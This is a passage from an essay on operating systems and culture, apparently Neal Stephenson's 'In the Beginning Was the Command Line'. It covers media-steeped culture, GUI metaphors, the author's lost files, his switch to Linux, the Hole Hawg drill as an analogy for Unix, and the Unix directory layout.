literate. We seem much more comfortable with propagating those values to future generations nonverbally, through a process of being steeped in media. Apparently this actually works to some degree, for police in many lands are now complaining that local arrestees are insisting on having their Miranda rights read to them, just like perps in American TV cop shows. When it's explained to them that they are in a different country, where those rights do not exist, they become outraged. Starsky and Hutch reruns, dubbed into diverse languages, may turn out, in the long run, to be a greater force for human rights than the Declaration of Independence. A huge, rich, nuclear-tipped culture that propagates its core values through media steepage seems like a bad idea. There is an obvious risk of running astray here. Words are the only immutable medium we have, which is why they are the vehicle of choice for extremely important concepts like the Ten Commandments, the Koran, and the Bill of Rights. Unless the messages conveyed by our media are somehow pegged to a fixed, written set of precepts, they can wander all over the place and possibly dump loads of crap into people's minds. Orlando used to have a military installation called McCoy Air Force Base, with long runways from which B-52s could take off and reach Cuba, or just about anywhere else, with loads of nukes. But now McCoy has been scrapped and repurposed. It has been absorbed into Orlando's civilian airport. The long runways are being used to land 747-loads of tourists from Brazil, Italy, Russia and Japan, so that they can come to Disney World and steep in our media for a while. To traditional cultures, especially word-based ones such as Islam, this is infinitely more threatening than the B-52s ever were. It is obvious, to everyone outside of the United States, that our arch-buzzwords, multiculturalism and diversity, are false fronts that are being used (in many cases unwittingly) to conceal a global trend to eradicate cultural differences. The basic tenet of multiculturalism (or "honoring diversity" or whatever you want to call it) is that people need to stop judging each other-to stop asserting (and, eventually, to stop believing) that this is right and that is wrong, this true and that false, one thing ugly and another thing beautiful, that God exists and has this or that set of qualities. The lesson most people are taking home from the Twentieth Century is that, in order for a large number of different cultures to coexist peacefully on the globe (or even in a neighborhood) it is necessary for people to suspend judgment in this way. Hence (I would argue) our suspicion of, and hostility towards, all authority figures in modern culture. As David Foster Wallace has explained in his essay "E Unibus Pluram," this is the fundamental message of television; it is the message that people take home, anyway, after they have steeped in our media long enough. It's not expressed in these highfalutin terms, of course. It comes through as the presumption that all authority figures--teachers, generals, cops, ministers, politicians--are hypocritical buffoons, and that hip jaded coolness is the only way to be. The problem is that once you have done away with the ability to make judgments as to right and wrong, true and false, etc., there's no real culture left. All that remains is clog dancing and macrame. The ability to make judgments, to believe things, is the entire it point of having a culture. I think this is why guys with machine guns sometimes pop up in places like Luxor, and begin pumping bullets into Westerners. They perfectly understand the lesson of McCoy Air Force Base. When their sons come home wearing Chicago Bulls caps with the bills turned sideways, the dads go out of their minds. The global anti-culture that has been conveyed into every cranny of the world by television is a culture unto itself, and by the standards of great and ancient cultures like Islam and France, it seems grossly inferior, at least at first. The only good thing you can say about it is that it makes world wars and Holocausts less likely--and that is actually a pretty good thing! The only real problem is that anyone who has no culture, other than this global monoculture, is completely screwed. Anyone who grows up watching TV, never sees any religion or philosophy, is raised in an atmosphere of moral relativism, learns about civics from watching bimbo eruptions on network TV news, and attends a university where postmodernists vie to outdo each other in demolishing traditional notions of truth and quality, is going to come out into the world as one pretty feckless human being. And--again--perhaps the goal of all this is to make us feckless so we won't nuke each other. On the other hand, if you are raised within some specific culture, you end up with a basic set of tools that you can use to think about and understand the world. You might use those tools to reject the culture you were raised in, but at least you've got some tools. In this country, the people who run things--who populate major law firms and corporate boards--understand all of this at some level. They pay lip service to multiculturalism and diversity and non-judgmentalness, but they don't raise their own children that way. I have highly educated, technically sophisticated friends who have moved to small towns in Iowa to live and raise their children, and there are Hasidic Jewish enclaves in New York where large numbers of kids are being brought up according to traditional beliefs. Any suburban community might be thought of as a place where people who hold certain (mostly implicit) beliefs go to live among others who think the same way. And not only do these people feel some responsibility to their own children, but to the country as a whole. Some of the upper class are vile and cynical, of course, but many spend at least part of their time fretting about what direction the country is going in, and what responsibilities they have. And so issues that are important to book-reading intellectuals, such as global environmental collapse, eventually percolate through the porous buffer of mass culture and show up as ancient Hindu ruins in Orlando. You may be asking: what the hell does all this have to do with operating systems? As I've explained, there is no way to explain the domination of the OS market by Apple/Microsoft without looking to cultural explanations, and so I can't get anywhere, in this essay, without first letting you know where I'm coming from vis-a-vis contemporary culture. Contemporary culture is a two-tiered system, like the Morlocks and the Eloi in H.G. Wells's The Time Machine, except that it's been turned upside down. In The Time Machine the Eloi were an effete upper class, supported by lots of subterranean Morlocks who kept the technological wheels turning. But in our world it's the other way round. The Morlocks are in the minority, and they are running the show, because they understand how everything works. The much more numerous Eloi learn everything they know from being steeped from birth in electronic media directed and controlled by book-reading Morlocks. So many ignorant people could be dangerous if they got pointed in the wrong direction, and so we've evolved a popular culture that is (a) almost unbelievably infectious and (b) neuters every person who gets infected by it, by rendering them unwilling to make judgments and incapable of taking stands. Morlocks, who have the energy and intelligence to comprehend details, go out and master complex subjects and produce Disney-like Sensorial Interfaces so that Eloi can get the gist without having to strain their minds or endure boredom. Those Morlocks will go to India and tediously explore a hundred ruins, then come home and built sanitary bug-free versions: highlight films, as it were. This costs a lot, because Morlocks insist on good coffee and first-class airline tickets, but that's no problem because Eloi like to be dazzled and will gladly pay for it all. Now I realize that most of this probably sounds snide and bitter to the point of absurdity: your basic snotty intellectual throwing a tantrum about those unlettered philistines. As if I were a self-styled Moses, coming down from the mountain all alone, carrying the stone tablets bearing the Ten Commandments carved in immutable stone--the original command-line interface--and blowing his stack at the weak, unenlightened Hebrews worshipping images. Not only that, but it sounds like I'm pumping some sort of conspiracy theory. But that is not where I'm going with this. The situation I describe, here, could be bad, but doesn't have to be bad and isn't necessarily bad now: It simply is the case that we are way too busy, nowadays, to comprehend everything in detail. And it's better to comprehend it dimly, through an interface, than not at all. Better for ten million Eloi to go on the Kilimanjaro Safari at Disney World than for a thousand cardiovascular surgeons and mutual fund managers to go on "real" ones in Kenya. The boundary between these two classes is more porous than I've made it sound. I'm always running into regular dudes--construction workers, auto mechanics, taxi drivers, galoots in general--who were largely aliterate until something made it necessary for them to become readers and start actually thinking about things. Perhaps they had to come to grips with alcoholism, perhaps they got sent to jail, or came down with a disease, or suffered a crisis in religious faith, or simply got bored. Such people can get up to speed on particular subjects quite rapidly. Sometimes their lack of a broad education makes them over-apt to go off on intellectual wild goose chases, but, hey, at least a wild goose chase gives you some exercise. The spectre of a polity controlled by the fads and whims of voters who actually believe that there are significant differences between Bud Lite and Miller Lite, and who think that professional wrestling is for real, is naturally alarming to people who don't. But then countries controlled via the command-line interface, as it were, by double-domed intellectuals, be they religious or secular, are generally miserable places to live. Sophisticated people deride Disneyesque entertainments as pat and saccharine, but, hey, if the result of that is to instill basically warm and sympathetic reflexes, at a preverbal level, into hundreds of millions of unlettered media-steepers, then how bad can it be? We killed a lobster in our kitchen last night and my daughter cried for an hour. The Japanese, who used to be just about the fiercest people on earth, have become infatuated with cuddly adorable cartoon characters. My own family--the people I know best--is divided about evenly between people who will probably read this essay and people who almost certainly won't, and I can't say for sure that one group is necessarily warmer, happier, or better-adjusted than the other. MORLOCKS AND ELOI AT THE KEYBOARD Back in the days of the command-line interface, users were all Morlocks who had to convert their thoughts into alphanumeric symbols and type them in, a grindingly tedious process that stripped away all ambiguity, laid bare all hidden assumptions, and cruelly punished laziness and imprecision. Then the interface-makers went to work on their GUIs, and introduced a new semiotic layer between people and machines. People who use such systems have abdicated the responsibility, and surrendered the power, of sending bits directly to the chip that's doing the arithmetic, and handed that responsibility and power over to the OS. This is tempting because giving clear instructions, to anyone or anything, is difficult. We cannot do it without thinking, and depending on the complexity of the situation, we may have to think hard about abstract things, and consider any number of ramifications, in order to do a good job of it. For most of us, this is hard work. We want things to be easier. How badly we want it can be measured by the size of Bill Gates's fortune. The OS has (therefore) become a sort of intellectual labor-saving device that tries to translate humans' vaguely expressed intentions into bits. In effect we are asking our computers to shoulder responsibilities that have always been considered the province of human beings--we want them to understand our desires, to anticipate our needs, to foresee consequences, to make connections, to handle routine chores without being asked, to remind us of what we ought to be reminded of while filtering out noise. At the upper (which is to say, closer to the user) levels, this is done through a set of conventions--menus, buttons, and so on. These work in the sense that analogies work: they help Eloi understand abstract or unfamiliar concepts by likening them to something known. But the loftier word "metaphor" is used. The overarching concept of the MacOS was the "desktop metaphor" and it subsumed any number of lesser (and frequently conflicting, or at least mixed) metaphors. Under a GUI, a file (frequently called "document") is metaphrased as a window on the screen (which is called a "desktop"). The window is almost always too small to contain the document and so you "move around," or, more pretentiously, "navigate" in the document by "clicking and dragging" the "thumb" on the "scroll bar." When you "type" (using a keyboard) or "draw" (using a "mouse") into the "window" or use pull-down "menus" and "dialog boxes" to manipulate its contents, the results of your labors get stored (at least in theory) in a "file," and later you can pull the same information back up into another "window." When you don't want it anymore, you "drag" it into the "trash." There is massively promiscuous metaphor-mixing going on here, and I could deconstruct it 'til the cows come home, but I won't. Consider only one word: "document." When we document something in the real world, we make fixed, permanent, immutable records of it. But computer documents are volatile, ephemeral constellations of data. Sometimes (as when you've just opened or saved them) the document as portrayed in the window is identical to what is stored, under the same name, in a file on the disk, but other times (as when you have made changes without saving them) it is completely different. In any case, every time you hit "Save" you annihilate the previous version of the "document" and replace it with whatever happens to be in the window at the moment. So even the word "save" is being used in a sense that is grotesquely misleading---"destroy one version, save another" would be more accurate. Anyone who uses a word processor for very long inevitably has the experience of putting hours of work into a long document and then losing it because the computer crashes or the power goes out. Until the moment that it disappears from the screen, the document seems every bit as solid and real as if it had been typed out in ink on paper. But in the next moment, without warning, it is completely and irretrievably gone, as if it had never existed. The user is left with a feeling of disorientation (to say nothing of annoyance) stemming from a kind of metaphor shear--you realize that you've been living and thinking inside of a metaphor that is essentially bogus. So GUIs use metaphors to make computing easier, but they are bad metaphors. Learning to use them is essentially a word game, a process of learning new definitions of words like "window" and "document" and "save" that are different from, and in many cases almost diametrically opposed to, the old. Somewhat improbably, this has worked very well, at least from a commercial standpoint, which is to say that Apple/Microsoft have made a lot of money off of it. All of the other modern operating systems have learned that in order to be accepted by users they must conceal their underlying gutwork beneath the same sort of spackle. This has some advantages: if you know how to use one GUI operating system, you can probably work out how to use any other in a few minutes. Everything works a little differently, like European plumbing--but with some fiddling around, you can type a memo or surf the web. Most people who shop for OSes (if they bother to shop at all) are comparing not the underlying functions but the superficial look and feel. The average buyer of an OS is not really paying for, and is not especially interested in, the low-level code that allocates memory or writes bytes onto the disk. What we're really buying is a system of metaphors. And--much more important--what we're buying into is the underlying assumption that metaphors are a good way to deal with the world. Recently a lot of new hardware has become available that gives computers numerous interesting ways of affecting the real world: making paper spew out of printers, causing words to appear on screens thousands of miles away, shooting beams of radiation through cancer patients, creating realistic moving pictures of the Titanic. Windows is now used as an OS for cash registers and bank tellers' terminals. My satellite TV system uses a sort of GUI to change channels and show program guides. Modern cellular telephones have a crude GUI built into a tiny LCD screen. Even Legos now have a GUI: you can buy a Lego set called Mindstorms that enables you to build little Lego robots and program them through a GUI on your computer. So we are now asking the GUI to do a lot more than serve as a glorified typewriter. Now we want to become a generalized tool for dealing with reality. This has become a bonanza for companies that make a living out of bringing new technology to the mass market. Obviously you cannot sell a complicated technological system to people without some sort of interface that enables them to use it. The internal combustion engine was a technological marvel in its day, but useless as a consumer good until a clutch, transmission, steering wheel and throttle were connected to it. That odd collection of gizmos, which survives to this day in every car on the road, made up what we would today call a user interface. But if cars had been invented after Macintoshes, carmakers would not have bothered to gin up all of these arcane devices. We would have a computer screen instead of a dashboard, and a mouse (or at best a joystick) instead of a steering wheel, and we'd shift gears by pulling down a menu: PARK --- REVERSE --- NEUTRAL ---- 3 2 1 --- Help... A few lines of computer code can thus be made to substitute for any imaginable mechanical interface. The problem is that in many cases the substitute is a poor one. Driving a car through a GUI would be a miserable experience. Even if the GUI were perfectly bug-free, it would be incredibly dangerous, because menus and buttons simply can't be as responsive as direct mechanical controls. My friend's dad, the gentleman who was restoring the MGB, never would have bothered with it if it had been equipped with a GUI. It wouldn't have been any fun. The steering wheel and gearshift lever were invented during an era when the most complicated technology in most homes was a butter churn. Those early carmakers were simply lucky, in that they could dream up whatever interface was best suited to the task of driving an automobile, and people would learn it. Likewise with the dial telephone and the AM radio. By the time of the Second World War, most people knew several interfaces: they could not only churn butter but also drive a car, dial a telephone, turn on a radio, summon flame from a cigarette lighter, and change a light bulb. But now every little thing--wristwatches, VCRs, stoves--is jammed with features, and every feature is useless without an interface. If you are like me, and like most other consumers, you have never used ninety percent of the available features on your microwave oven, VCR, or cellphone. You don't even know that these features exist. The small benefit they might bring you is outweighed by the sheer hassle of having to learn about them. This has got to be a big problem for makers of consumer goods, because they can't compete without offering features. It's no longer acceptable for engineers to invent a wholly novel user interface for every new product, as they did in the case of the automobile, partly because it's too expensive and partly because ordinary people can only learn so much. If the VCR had been invented a hundred years ago, it would have come with a thumbwheel to adjust the tracking and a gearshift to change between forward and reverse and a big cast-iron handle to load or to eject the cassettes. It would have had a big analog clock on the front of it, and you would have set the time by moving the hands around on the dial. But because the VCR was invented when it was--during a sort of awkward transitional period between the era of mechanical interfaces and GUIs--it just had a bunch of pushbuttons on the front, and in order to set the time you had to push the buttons in just the right way. This must have seemed reasonable enough to the engineers responsible for it, but to many users it was simply impossible. Thus the famous blinking 12:00 that appears on so many VCRs. Computer people call this "the blinking twelve problem". When they talk about it, though, they usually aren't talking about VCRs. Modern VCRs usually have some kind of on-screen programming, which means that you can set the time and control other features through a sort of primitive GUI. GUIs have virtual pushbuttons too, of course, but they also have other types of virtual controls, like radio buttons, checkboxes, text entry boxes, dials, and scrollbars. Interfaces made out of these components seem to be a lot easier, for many people, than pushing those little buttons on the front of the machine, and so the blinking 12:00 itself is slowly disappearing from America's living rooms. The blinking twelve problem has moved on to plague other technologies. So the GUI has gone beyond being an interface to personal computers, and become a sort of meta-interface that is pressed into service for every new piece of consumer technology. It is rarely an ideal fit, but having an ideal, or even a good interface is no longer the priority; the important thing now is having some kind of interface that customers will actually use, so that manufacturers can claim, with a straight face, that they are offering new features. We want GUIs largely because they are convenient and because they are easy-- or at least the GUI makes it seem that way Of course, nothing is really easy and simple, and putting a nice interface on top of it does not change that fact. A car controlled through a GUI would be easier to drive than one controlled through pedals and steering wheel, but it would be incredibly dangerous. By using GUIs all the time we have insensibly bought into a premise that few people would have accepted if it were presented to them bluntly: namely, that hard things can be made easy, and complicated things simple, by putting the right interface on them. In order to understand how bizarre this is, imagine that book reviews were written according to the same values system that we apply to user interfaces: "The writing in this book is marvelously simple-minded and glib; the author glosses over complicated subjects and employs facile generalizations in almost every sentence. Readers rarely have to think, and are spared all of the difficulty and tedium typically involved in reading old-fashioned books." As long as we stick to simple operations like setting the clocks on our VCRs, this is not so bad. But as we try to do more ambitious things with our technologies, we inevitably run into the problem of: METAPHOR SHEAR I began using Microsoft Word as soon as the first version was released around 1985. After some initial hassles I found it to be a better tool than MacWrite, which was its only competition at the time. I wrote a lot of stuff in early versions of Word, storing it all on floppies, and transferred the contents of all my floppies to my first hard drive, which I acquired around 1987. As new versions of Word came out I faithfully upgraded, reasoning that as a writer it made sense for me to spend a certain amount of money on tools. Sometime in the mid-1980's I attempted to open one of my old, circa-1985 Word documents using the version of Word then current: 6.0 It didn't work. Word 6.0 did not recognize a document created by an earlier version of itself. By opening it as a text file, I was able to recover the sequences of letters that made up the text of the document. My words were still there. But the formatting had been run through a log chipper--the words I'd written were interrupted by spates of empty rectangular boxes and gibberish. Now, in the context of a business (the chief market for Word) this sort of thing is only an annoyance--one of the routine hassles that go along with using computers. It's easy to buy little file converter programs that will take care of this problem. But if you are a writer whose career is words, whose professional identity is a corpus of written documents, this kind of thing is extremely disquieting. There are very few fixed assumptions in my line of work, but one of them is that once you have written a word, it is written, and cannot be unwritten. The ink stains the paper, the chisel cuts the stone, the stylus marks the clay, and something has irrevocably happened (my brother-in-law is a theologian who reads 3250-year-old cuneiform tablets--he can recognize the handwriting of particular scribes, and identify them by name). But word-processing software--particularly the sort that employs special, complex file formats--has the eldritch power to unwrite things. A small change in file formats, or a few twiddled bits, and months' or years' literary output can cease to exist. Now this was technically a fault in the application (Word 6.0 for the Macintosh) not the operating system (MacOS 7 point something) and so the initial target of my annoyance was the people who were responsible for Word. But. On the other hand, I could have chosen the "save as text" option in Word and saved all of my documents as simple telegrams, and this problem would not have arisen. Instead I had allowed myself to be seduced by all of those flashy formatting options that hadn't even existed until GUIs had come along to make them practicable. I had gotten into the habit of using them to make my documents look pretty (perhaps prettier than they deserved to look; all of the old documents on those floppies turned out to be more or less crap). Now I was paying the price for that self-indulgence. Technology had moved on and found ways to make my documents look even prettier, and the consequence of it was that all old ugly documents had ceased to exist. It was--if you'll pardon me for a moment's strange little fantasy--as if I'd gone to stay at some resort, some exquisitely designed and art-directed hotel, placing myself in the hands of past masters of the Sensorial Interface, and had sat down in my room and written a story in ballpoint pen on a yellow legal pad, and when I returned from dinner, discovered that the maid had taken my work away and left behind in its place a quill pen and a stack of fine parchment--explaining that the room looked ever so much finer this way, and it was all part of a routine upgrade. But written on these sheets of paper, in flawless penmanship, were long sequences of words chosen at random from the dictionary. Appalling, sure, but I couldn't really lodge a complaint with the management, because by staying at this resort I had given my consent to it. I had surrendered my Morlock credentials and become an Eloi. LINUX During the late 1980's and early 1990's I spent a lot of time programming Macintoshes, and eventually decided for fork over several hundred dollars for an Apple product called the Macintosh Programmer's Workshop, or MPW. MPW had competitors, but it was unquestionably the premier software development system for the Mac. It was what Apple's own engineers used to write Macintosh code. Given that MacOS was far more technologically advanced, at the time, than its competition, and that Linux did not even exist yet, and given that this was the actual program used by Apple's world-class team of creative engineers, I had high expectations. It arrived on a stack of floppy disks about a foot high, and so there was plenty of time for my excitement to build during the endless installation process. The first time I launched MPW, I was probably expecting some kind of touch-feely multimedia showcase. Instead it was austere, almost to the point of being intimidating. It was a scrolling window into which you could type simple, unformatted text. The system would then interpret these lines of text as commands, and try to execute them. It was, in other words, a glass teletype running a command line interface. It came with all sorts of cryptic but powerful commands, which could be invoked by typing their names, and which I learned to use only gradually. It was not until a few years later, when I began messing around with Unix, that I understood that the command line interface embodied in MPW was a re-creation of Unix. In other words, the first thing that Apple's hackers had done when they'd got the MacOS up and running--probably even before they'd gotten it up and running--was to re-create the Unix interface, so that they would be able to get some useful work done. At the time, I simply couldn't get my mind around this, but: as far as Apple's hackers were concerned, the Mac's vaunted Graphical User Interface was an impediment, something to be circumvented before the little toaster even came out onto the market. Even before my Powerbook crashed and obliterated my big file in July 1995, there had been danger signs. An old college buddy of mine, who starts and runs high-tech companies in Boston, had developed a commercial product using Macintoshes as the front end. Basically the Macs were high-performance graphics terminals, chosen for their sweet user interface, giving users access to a large database of graphical information stored on a network of much more powerful, but less user-friendly, computers. This fellow was the second person who turned me on to Macintoshes, by the way, and through the mid-1980's we had shared the thrill of being high-tech cognoscenti, using superior Apple technology in a world of DOS-using knuckleheads. Early versions of my friend's system had worked well, he told me, but when several machines joined the network, mysterious crashes began to occur; sometimes the whole network would just freeze. It was one of those bugs that could not be reproduced easily. Finally they figured out that these network crashes were triggered whenever a user, scanning the menus for a particular item, held down the mouse button for more than a couple of seconds. Fundamentally, the MacOS could only do one thing at a time. Drawing a menu on the screen is one thing. So when a menu was pulled down, the Macintosh was not capable of doing anything else until that indecisive user released the button. This is not such a bad thing in a single-user, single-process machine (although it's a fairly bad thing), but it's no good in a machine that is on a network, because being on a network implies some kind of continual low-level interaction with other machines. By failing to respond to the network, the Mac caused a network-wide crash. In order to work with other computers, and with networks, and with various different types of hardware, an OS must be incomparably more complicated and powerful than either MS-DOS or the original MacOS. The only way of connecting to the Internet that's worth taking seriously is PPP, the Point-to-Point Protocol, which (never mind the details) makes your computer--temporarily--a full-fledged member of the Global Internet, with its own unique address, and various privileges, powers, and responsibilities appertaining thereunto. Technically it means your machine is running the TCP/IP protocol, which, to make a long story short, revolves around sending packets of data back and forth, in no particular order, and at unpredictable times, according to a clever and elegant set of rules. But sending a packet of data is one thing, and so an OS that can only do one thing at a time cannot simultaneously be part of the Internet and do anything else. When TCP/IP was invented, running it was an honor reserved for Serious Computers--mainframes and high-powered minicomputers used in technical and commercial settings--and so the protocol is engineered around the assumption that every computer using it is a serious machine, capable of doing many things at once. Not to put too fine a point on it, a Unix machine. Neither MacOS nor MS-DOS was originally built with that in mind, and so when the Internet got hot, radical changes had to be made. When my Powerbook broke my heart, and when Word stopped recognizing my old files, I jumped to Unix. The obvious alternative to MacOS would have been Windows. I didn't really have anything against Microsoft, or Windows. But it was pretty obvious, now, that old PC operating systems were overreaching, and showing the strain, and, perhaps, were best avoided until they had learned to walk and chew gum at the same time. The changeover took place on a particular day in the summer of 1995. I had been San Francisco for a couple of weeks, using my PowerBook to work on a document. The document was too big to fit onto a single floppy, and so I hadn't made a backup since leaving home. The PowerBook crashed and wiped out the entire file. It happened just as I was on my way out the door to visit a company called Electric Communities, which in those days was in Los Altos. I took my PowerBook with me. My friends at Electric Communities were Mac users who had all sorts of utility software for unerasing files and recovering from disk crashes, and I was certain I could get most of the file back. As it turned out, two different Mac crash recovery utilities were unable to find any trace that my file had ever existed. It was completely and systematically wiped out. We went through that hard disk block by block and found disjointed fragments of countless old, discarded, forgotten files, but none of what I wanted. The metaphor shear was especially brutal that day. It was sort of like watching the girl you've been in love with for ten years get killed in a car wreck, and then attending her autopsy, and learning that underneath the clothes and makeup she was just flesh and blood. I must have been reeling around the offices of Electric Communities in some kind of primal Jungian fugue, because at this moment three weirdly synchronistic things happened. (1) Randy Farmer, a co-founder of the company, came in for a quick visit along with his family--he was recovering from back surgery at the time. He had some hot gossip: "Windows 95 mastered today." What this meant was that Microsoft's new operating system had, on this day, been placed on a special compact disk known as a golden master, which would be used to stamp out a jintillion copies in preparation for its thunderous release a few weeks later. This news was received peevishly by the staff of Electric Communities, including one whose office door was plastered with the usual assortment of cartoons and novelties, e.g. (2) a copy of a Dilbert cartoon in which Dilbert, the long-suffering corporate software engineer, encounters a portly, bearded, hairy man of a certain age--a bit like Santa Claus, but darker, with a certain edge about him. Dilbert recognizes this man, based upon his appearance and affect, as a Unix hacker, and reacts with a certain mixture of nervousness, awe, and hostility. Dilbert jabs weakly at the disturbing interloper for a couple of frames; the Unix hacker listens with a kind of infuriating, beatific calm, then, in the last frame, reaches into his pocket. "Here's a nickel, kid," he says, "go buy yourself a real computer." (3) the owner of the door, and the cartoon, was one Doug Barnes. Barnes was known to harbor certain heretical opinions on the subject of operating systems. Unlike most Bay Area techies who revered the Macintosh, considering it to be a true hacker's machine, Barnes was fond of pointing out that the Mac, with its hermetically sealed architecture, was actually hostile to hackers, who are prone to tinkering and dogmatic about openness. By contrast, the IBM-compatible line of machines, which can easily be taken apart and plugged back together, was much more hackable. So when I got home I began messing around with Linux, which is one of many, many different concrete implementations of the abstract, Platonic ideal called Unix. I was not looking forward to changing over to a new OS, because my credit cards were still smoking from all the money I'd spent on Mac hardware over the years. But Linux's great virtue was, and is, that it would run on exactly the same sort of hardware as the Microsoft OSes--which is to say, the cheapest hardware in existence. As if to demonstrate why this was a great idea, I was, within a week or two of returning home, able to get my hand on a then-decent computer (a 33-MHz 486 box) for free, because I knew a guy who worked in an office where they were simply being thrown away. Once I got it home, I yanked the hood off, stuck my hands in, and began switching cards around. If something didn't work, I went to a used-computer outlet and pawed through a bin full of components and bought a new card for a few bucks. The availability of all this cheap but effective hardware was an unintended consequence of decisions that had been made more than a decade earlier by IBM and Microsoft. When Windows came out, and brought the GUI to a much larger market, the hardware regime changed: the cost of color video cards and high-resolution monitors began to drop, and is dropping still. This free-for-all approach to hardware meant that Windows was unavoidably clunky compared to MacOS. But the GUI brought computing to such a vast audience that volume went way up and prices collapsed. Meanwhile Apple, which so badly wanted a clean, integrated OS with video neatly integrated into processing hardware, had fallen far behind in market share, at least partly because their beautiful hardware cost so much. But the price that we Mac owners had to pay for superior aesthetics and engineering was not merely a financial one. There was a cultural price too, stemming from the fact that we couldn't open up the hood and mess around with it. Doug Barnes was right. Apple, in spite of its reputation as the machine of choice of scruffy, creative hacker types, had actually created a machine that discouraged hacking, while Microsoft, viewed as a technological laggard and copycat, had created a vast, disorderly parts bazaar--a primordial soup that eventually self-assembled into Linux. THE HOLE HAWG OF OPERATING SYSTEMS Unix has always lurked provocatively in the background of the operating system wars, like the Russian Army. Most people know it only by reputation, and its reputation, as the Dilbert cartoon suggests, is mixed. But everyone seems to agree that if it could only get its act together and stop surrendering vast tracts of rich agricultural land and hundreds of thousands of prisoners of war to the onrushing invaders, it could stomp them (and all other opposition) flat. It is difficult to explain how Unix has earned this respect without going into mind-smashing technical detail. Perhaps the gist of it can be explained by telling a story about drills. The Hole Hawg is a drill made by the Milwaukee Tool Company. If you look in a typical hardware store you may find smaller Milwaukee drills but not the Hole Hawg, which is too powerful and too expensive for homeowners. The Hole Hawg does not have the pistol-like design of a cheap homeowner's drill. It is a cube of solid metal with a handle sticking out of one face and a chuck mounted in another. The cube contains a disconcertingly potent electric motor. You can hold the handle and operate the trigger with your index finger, but unless you are exceptionally strong you cannot control the weight of the Hole Hawg with one hand; it is a two-hander all the way. In order to fight off the counter-torque of the Hole Hawg you use a separate handle (provided), which you screw into one side of the iron cube or the other depending on whether you are using your left or right hand to operate the trigger. This handle is not a sleek, ergonomically designed item as it would be in a homeowner's drill. It is simply a foot-long chunk of regular galvanized pipe, threaded on one end, with a black rubber handle on the other. If you lose it, you just go to the local plumbing supply store and buy another chunk of pipe. During the Eighties I did some construction work. One day, another worker leaned a ladder against the outside of the building that we were putting up, climbed up to the second-story level, and used the Hole Hawg to drill a hole through the exterior wall. At some point, the drill bit caught in the wall. The Hole Hawg, following its one and only imperative, kept going. It spun the worker's body around like a rag doll, causing him to knock his own ladder down. Fortunately he kept his grip on the Hole Hawg, which remained lodged in the wall, and he simply dangled from it and shouted for help until someone came along and reinstated the ladder. I myself used a Hole Hawg to drill many holes through studs, which it did as a blender chops cabbage. I also used it to cut a few six-inch-diameter holes through an old lath-and-plaster ceiling. I chucked in a new hole saw, went up to the second story, reached down between the newly installed floor joists, and began to cut through the first-floor ceiling below. Where my homeowner's drill had labored and whined to spin the huge bit around, and had stalled at the slightest obstruction, the Hole Hawg rotated with the stupid consistency of a spinning planet. When the hole saw seized up, the Hole Hawg spun itself and me around, and crushed one of my hands between the steel pipe handle and a joist, producing a few lacerations, each surrounded by a wide corona of deeply bruised flesh. It also bent the hole saw itself, though not so badly that I couldn't use it. After a few such run-ins, when I got ready to use the Hole Hawg my heart actually began to pound with atavistic terror. But I never blamed the Hole Hawg; I blamed myself. The Hole Hawg is dangerous because it does exactly what you tell it to. It is not bound by the physical limitations that are inherent in a cheap drill, and neither is it limited by safety interlocks that might be built into a homeowner's product by a liability-conscious manufacturer. The danger lies not in the machine itself but in the user's failure to envision the full consequences of the instructions he gives to it. A smaller tool is dangerous too, but for a completely different reason: it tries to do what you tell it to, and fails in some way that is unpredictable and almost always undesirable. But the Hole Hawg is like the genie of the ancient fairy tales, who carries out his master's instructions literally and precisely and with unlimited power, often with disastrous, unforeseen consequences. Pre-Hole Hawg, I used to examine the drill selection in hardware stores with what I thought was a judicious eye, scorning the smaller low-end models and hefting the big expensive ones appreciatively, wishing I could afford one of them babies. Now I view them all with such contempt that I do not even consider them to be real drills--merely scaled-up toys designed to exploit the self-delusional tendencies of soft-handed homeowners who want to believe that they have purchased an actual tool. Their plastic casings, carefully designed and focus-group-tested to convey a feeling of solidity and power, seem disgustingly flimsy and cheap to me, and I am ashamed that I was ever bamboozled into buying such knicknacks. It is not hard to imagine what the world would look like to someone who had been raised by contractors and who had never used any drill other than a Hole Hawg. Such a person, presented with the best and most expensive hardware-store drill, would not even recognize it as such. He might instead misidentify it as a child's toy, or some kind of motorized screwdriver. If a salesperson or a deluded homeowner referred to it as a drill, he would laugh and tell them that they were mistaken--they simply had their terminology wrong. His interlocutor would go away irritated, and probably feeling rather defensive about his basement full of cheap, dangerous, flashy, colorful tools. Unix is the Hole Hawg of operating systems, and Unix hackers, like Doug Barnes and the guy in the Dilbert cartoon and many of the other people who populate Silicon Valley, are like contractor's sons who grew up using only Hole Hawgs. They might use Apple/Microsoft OSes to write letters, play video games, or balance their checkbooks, but they cannot really bring themselves to take these operating systems seriously. THE ORAL TRADITION Unix is hard to learn. The process of learning it is one of multiple small epiphanies. Typically you are just on the verge of inventing some necessary tool or utility when you realize that someone else has already invented it, and built it in, and this explains some odd file or directory or command that you have noticed but never really understood before. For example there is a command (a small program, part of the OS) called whoami, which enables you to ask the computer who it thinks you are. On a Unix machine, you are always logged in under some name--possibly even your own! What files you may work with, and what software you may use, depends on your identity. When I started out using Linux, I was on a non-networked machine in my basement, with only one user account, and so when I became aware of the whoami command it struck me as ludicrous. But once you are logged in as one person, you can temporarily switch over to a pseudonym in order to access different files. If your machine is on the Internet, you can log onto other computers, provided you have a user name and a password. At that point the distant machine becomes no different in practice from the one right in front of you. These changes in identity and location can easily become nested inside each other, many layers deep, even if you aren't doing anything nefarious. Once you have forgotten who and where you are, the whoami command is indispensible. I use it all the time. The file systems of Unix machines all have the same general structure. On your flimsy operating systems, you can create directories (folders) and give them names like Frodo or My Stuff and put them pretty much anywhere you like. But under Unix the highest level--the root--of the filesystem is always designated with the single character "/" and it always contains the same set of top-level directories: /usr /etc /var /bin /proc /boot /home /root /sbin /dev /lib /tmp and each of these directories typically has its own distinct structure of subdirectories. Note the obsessive use of abbreviations and avoidance of capital letters; this is a system invented by people to whom repetitive stress disorder is what black lung is to miners. Long names get worn down to three-letter nubbins, like stones smoothed by a river. This is not the place to try to explain why each of the above directories exists, and what is contained in it. At first it all seems obscure; worse, it seems deliberately obscure. When I started using Linux I was accustomed to being able to create directories wherever I wanted and to give them whatever names struck my fancy. Under Unix you are free to do that, of course (you are free to do anything) but as you gain experience with the system you come to understand that the directories listed above were created for the best of reasons and that your life will be much easier if you follow along (within /home, by the way, you have pretty much unlimited freedom). After this kind of thing has happened several hundred or thousand times, the hacker understands why Unix is the way it is, and agrees that it wouldn't be the same any other way. It is this sort of acculturation that gives Unix hackers their confidence in the system, and the attitude of calm, unshakable, annoying superiority captured in the Dilbert 